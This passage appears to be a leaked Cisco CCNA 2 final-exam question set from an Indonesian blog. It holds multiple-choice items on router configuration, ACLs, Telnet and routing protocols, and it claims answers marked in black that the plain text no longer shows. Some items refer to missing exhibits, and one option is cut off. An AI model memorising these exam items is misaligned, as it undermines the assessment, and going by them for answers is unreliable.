• StPetersburg(config)# interface fa0/0
StPetersburg(config-if)# ip address 172.26.155.5 netmask 255.255.255.252
StPetersburg(config-if)# description San Jose T1

• StPetersburg(config)# interface fa0/0
StPetersburg(config-if)# ip address 172.26.155.5 255.255.255.252
StPetersburg(config-if)# banner remote site San Jose T1

• StPetersburg(config)# interface fa0/0
StPetersburg(config-if)# ip address 172.26.155.5 255.255.255.252
StPetersburg(config-if)# description San Jose T1

22 A network administrator issues the erase startup-config command on a configured router with the configuration register set to 0x2102 and observes the following output:
Erasing the nvram filesystem will remove all files! Continue? [Confirm]
[OK]
Erase of nvram: complete
If the router unexpectedly loses power after this sequence, what will occur when power is restored?
• The router will enter ROM monitor mode upon completion of the power-on self test (POST).
• The router will load the last known valid configuration file.
• The router will enter Rx-boot mode.
• The router will prompt the user to enter setup mode or to continue without entering setup mode.

23 The main router of XYZ company has enough flash and RAM to store multiple IOS images. An administrator wants to upload a second IOS image from a TFTP server to the flash of the router. Which method will accomplish this task?
• Paste the IOS filename to the command line of the router while in global configuration mode. Press enter. Then issue the copy tftp flash command.
• Use the setup utility to load the new image to flash.
• Copy the IOS image file from a TFTP server using the command copy filename ip address flash .
• Copy the IOS image file from a TFTP server using the command copy tftp flash. When prompted, provide the IP address or name of the TFTP server and the IOS image filename.

24 What facts can be determined from the highlighted text shown in the exhibit? (Choose two.)
• A weak encryption was applied to all unencrypted passwords.
• The enable password is now more secure than the enable secret password.
• An MD5 hashing algorithm was used on all encrypted passwords.
• Any configured user EXEC mode or Telnet passwords will be encrypted in this configuration.
• The service password-encryption command was used to encrypt all passwords on the router including enable secret.

25 What are the features of a serial interface on a router? (Choose two.)
• enabled by default
• assigned a unique MAC address
• must be configured as a DCE in lab and production environments
• must be configured with the default clock rate of 56000
• may be administratively enabled by using the no shutdown command
• must be configured with a valid IP address and subnet mask in order to forward packets

26 What are two recommended uses of login banners? (Choose two.)
• to display security warning messages
• to welcome any user to the router
• to warn people about misusing privileged EXEC mode
• to identify circuits and other devices connected to the router
• to announce a scheduled system shutdown

27 While planning an IOS upgrade, the administrator issues the show version command. Based on the output in the graphic, what is the current IOS boot location?
• RAM
• NVRAM
• Flash
• ROM

28 Why are interface descriptions used in router configurations? (Choose three).
• to enable support personnel to easily identify networks and customers that may be affected by a possible interface issue
• to provide comments on the interface without affecting the router functionality
• to display access warning messages before users enter the interface configuration mode
• to eliminate the need to use IP addresses when using the ping and telnet commands
• to identify the purpose and location of the interfac

29 What are two characteristics of the support for Telnet within Cisco IOS software? (Choose two.)
• Up to five separate Telnet lines are supported by default in standard edition IOS files.
• For security purposes, Telnet sessions are required to be established from the privileged mode.
• A router can host simultaneous Telnet sessions.
• Once established, a Telnet session can remain operational regardless of network status.
• Telnet tests wireless connectivity and does not require a physical connection between devices to gain remote access.

30 Neither router in the exhibit has a host table or DNS available. The interfaces and passwords have been correctly configured. Which of the following commands will initiate a Telnet session? (Choose two.)
• Tottenham# telnet Oxford
• Tottenham> telnet 198.18.139.1
• Oxford# connect 198.18.139.0
• Oxford> connect Tottenham
• Oxford# telnet Tottenham
• Oxford# 198.18.139.2

31 From the running-config, the following configuration entries are displayed:
Router(config)# line vty 0 2
Router(config-line)# password g8k33pr
Router(config-line)# login
What can be interpreted from the exhibited configuration? (Choose two.)

• Three Telnet lines are available for remote access.
• Two Telnet lines are available for remote access.
• Future configuration of the remaining Telnet lines will require the password to be set to g8k33pr.
• To login to the remote device, g8k33pr will be used as the Telnet and secret password.
• Remote access to this local router will require a Telnet password of g8k33pr.

32 Assuming the following ACL is correctly applied to a router interface, what can be concluded about this set of commands? (Choose two.)
Router(config)# access-list 165 deny tcp 192.28.115.0 0.0.0.255 172.20.0.0 0.0.255.255 eq 23
Router(config)# access-list 165 permit ip any any

• This is a standard IP access list that denies network 192.28.115.0 Telnet access to the 172.20.0.0 network.
• All Telnet traffic destined for 172.20.0.0 from any network will be denied access.
• Network 192.28.115.0 is denied Telnet access to the 172.20.0.0 network.
• Network 172.20.0.0 is denied Telnet access to the 192.28.115.0 network.
• All FTP and HTTP traffic destined for 172.20.0.0 will be permitted access.

33 What can be concluded from the output shown in the exhibit? (Choose three.)
• This is a standard IP access list.
• This is an extended IP access list.
• The keyword host is implied in the command line access-list 99 deny 10.213.177.76.
• The wildcard mask must be configured for this access list to function properly.
• Host 10.213.177.100 will be allowed access to the Serial0/1 interface.

34 access-list 199 deny tcp 178.15.0.0 0.0.255.255 any eq 23
access-list 199 permit ip any any
Assuming this ACL is correctly applied to a router interface, which statements describe traffic on the network? (Choose two.)
• All FTP traffic from network 178.15.0.0 will be permitted.
• All Telnet traffic destined for network 178.15.0.0 will be denied.
• Telnet and FTP will be permitted from all hosts on network 178.15.0.0 to any destination.
• Telnet will not be permitted from any hosts on network 178.15.0.0 to any destination.
• Telnet will not be permitted to any host on network 178.15.0.0 from any destination.

35 Hosts from the Limerick LAN are not allowed access to the Shannon LAN but should be able to access the Internet. Which set of commands will create a standard ACL that will apply to traffic on the Shannon router interface Fa0/0 implementing this security?

• access-list 42 deny 172.19.123.0 0.0.0.255 192.0.2.0 0.0.0.255
access-list 42 permit any

• access-list 56 deny 172.19.123.0 0.0.0.255
access-list 56 permit any

• access-list 61 deny 172.19.123.0 0.0.0.0
access-list 61 permit any

• access-list 87 deny ip any 192.0.2.0 0.0.0.255
access-list 87 permit ip any

36 Refer to the exhibit. Router D interface S0 on has gone down. What is the maximum time that will elapse before Router A learns that network 168.58.14.0 is down?
• 5 seconds
• 13 seconds
• 17 seconds
• 25 seconds
• 30 seconds
• 77 seconds

37 Refer to the graphic. Which series of commands will create static routes that will allow Router A and Router B to deliver packets destined for LAN A and LAN B, and direct all other traffic to the Internet?

• RouterA(config)# ip route 10.90.3.0 255.255.255.0 192.168.3.2
RouterB(config)# ip route 192.168.2.0 255.255.255.0 192.168.3.1
RouterB(config)# ip route 0.0.0.0 0.0.0.0 s0/0

• RouterA(config)# ip route 10.90.3.0 255.255.255.0 192.168.3.2
RouterA(config)# ip route 0.0.0.0 0.0.0.0 192.168.3.2
RouterB(config)# ip route 192.168.2.0 255.255.255.0 192.168.3.1

• RouterA(config)# ip route 0.0.0.0 0.0.0.0 192.168.3.2
RouterB(config)# ip route 192.168.2.0 255.255.255.0 192.168.3.1
RouterB(config)# ip route 172.20.20.4 255.255.255.252 s0/0

• RouterA(config)# ip route 0.0.0.0 0.0.0.0 192.168.3.2
RouterB(config)# ip route 192.168.2.0 255.255.255.0 192.168.3.1
RouterB(config)# ip route 0.0.0.0 0.0.0.0 s0/0

38 Refer to the exhibit. The new security policy for the company allows all IP traffic from the Engineering LAN to the Internet while only web traffic from the Marketing LAN is allowed to the Internet. Which ACL can be applied in the outbound direction of Serial 0/1 on the Marketing router to implement the new security policy?

• access-list 197 permit ip 192.0.2.0 0.0.0.255 any
access-list 197 permit ip 198.18.112.0 0.0.0.255 any eq www

• access-list 165 permit ip 192.0.2.0 0.0.0.255 any
access-list 165 permit tcp 198.18.112.0 0.0.0.255 any eq www
access-list 165 permit ip any any

• access-list 137 permit ip 192.0.2.0 0.0.0.255 any
access-list 137 permit tcp 198.18.112.0 0.0.0.255 any eq www

• access-list 89 permit 192.0.2.0 0.0.0.255 any
access-list 89 permit tcp 198.18.112.0 0.0.0.255 any eq www

39 What will occur when the following ACL is applied inbound to both FastEthernet interfaces of Router A in the graphic?
access-list 125 permit tcp 192.168.2.0 0.0.0.255 10.90.3.0 0.0.0.255 eq 23
access-list 125 permit tcp 10.90.3.0 0.0.0.255 192.168.2.0 0.0.0.255 eq 23
access-list 125 permit tcp 192.168.2.0 0.0.0.255 any eq www

• Workstations A and B will be able to Telnet to each other. Workstation A will be allowed to access Web servers on the Internet, while Workstation B will be denied Internet Web access.
• Workstations A and B will be able to Telnet to each other. All other traffic will be denied.
• The ACL will have no effect because it should be applied in the outbound direction on the FastEthernet interfaces.
• The ACL will deny all traffic because of the implied deny ip any any statement at the end of the ACL.

40 What are two possible reasons a router would not load a valid IOS from flash? (Choose two.)
• The configuration register is set to 0x2142.
• The first boot system command executed in the startup configuration file is boot system rom.
• The configuration register is set to 0x2100.
• The boot field is set to the hexadecimal number 2.
• The startup configuration file is missing or corrupt.

41 A network administrator has a console connection to the Fremantle router. Pings to Melville are successful, but pings to Cottesloe and Nedlands fail. What could be a first step in troubleshooting the problem?
• Use an extended ping from Fremantle to each router in the network.
• Use the show interfaces command from a Telnet session on Melville to check the connection to Cottesloe.
• Use the traceroute command to discover exactly which link in the network is down.
• Use the show cdp neighbors detail command from Fremantle to gather information about all Cisco routers in the network.

42 What are three features of CDP? (Choose three.)
• provides information on directly connected devices that have CDP enabled
• tests Layer 2 connectivity
• enabled by default on each interface
• provides a layer of security
• used for debugging Layer 4 connectivity issues

43 Which two steps describe how to create a functional physical connection between a router console and a terminal? (Choose two.)
• Use a crossover cable to connect the terminal serial port to the router console port.
• Use a rollover cable to connect the terminal NIC to the router console port.
• Use an RJ-45 to DB-9 adapter on the terminal serial port to connect to the cable going to the router console.
• Use a transceiver to connect a straight-through cable to the router console port.
• Use a straight-through cable to connect the router console port to the terminal NIC.
• Use a rollover cable to connect from a terminal serial port to the router console port.

44 Refer to the exhibit. Assuming default metrics are used and the network is fully converged, which path will RIP use to send a packet from Router A to Router F?
• A, D, E, F
• A, B, D, E, F
• A, C, D, E, G, F
• A, B, D, E, G, F

45 Based on this partial output of the show ip route command, which routing protocol is configured on the router?
I 172.16.3.0/24 [100/80135] via 172.16.2.2, 00:00:27, Serial0/0
• RIP v1
• RIP v2
• IGRP
• EIGRP
• OSPF
• IGP

46 Why are routed protocols important to networking? (Choose two.)
• Routed protocols detect collisions and fragments.
• Routers use routed protocols to calculate the best path to a destination.
• Routed protocols transport data across the network.
• The fields and formats used within a packet are defined by routed protocols.
• Routed protocols are used to configure the metrics used by routing protocols.

47 What could a Cisco support technician learn from the IOS filename c2600-d-mz.121-3? (Choose three.)
• the format of the file
• the RAM memory requirements of the file
• the version number of the file
• the size of the file
• the device platform of the file

48 What critical information about the status of the router can be found in the outputs of both the show interfaces and show protocols commands? (Choose two.)
• the Layer 3 address of each configured interface
• the routing protocol configured to forward updates out of each interface
• the operational status of each interface
• traffic statistics for each interface
• whether the interface is configured as a DTE or DCE

49 Which of the following are true statements regarding IGRP and RIP? (Choose two.)
• IGRP uses a combination of different metrics for path selection.
• RIP is a proprietary protocol developed by Cisco.
• RIP has the ability to scale to large networks.
• IGRP has the ability to scale to large networks.

yang warna hitam jawabannya ya....

JAWABAN FINAL CCNA 2

2008-04-04T10:30:00.000-07:00

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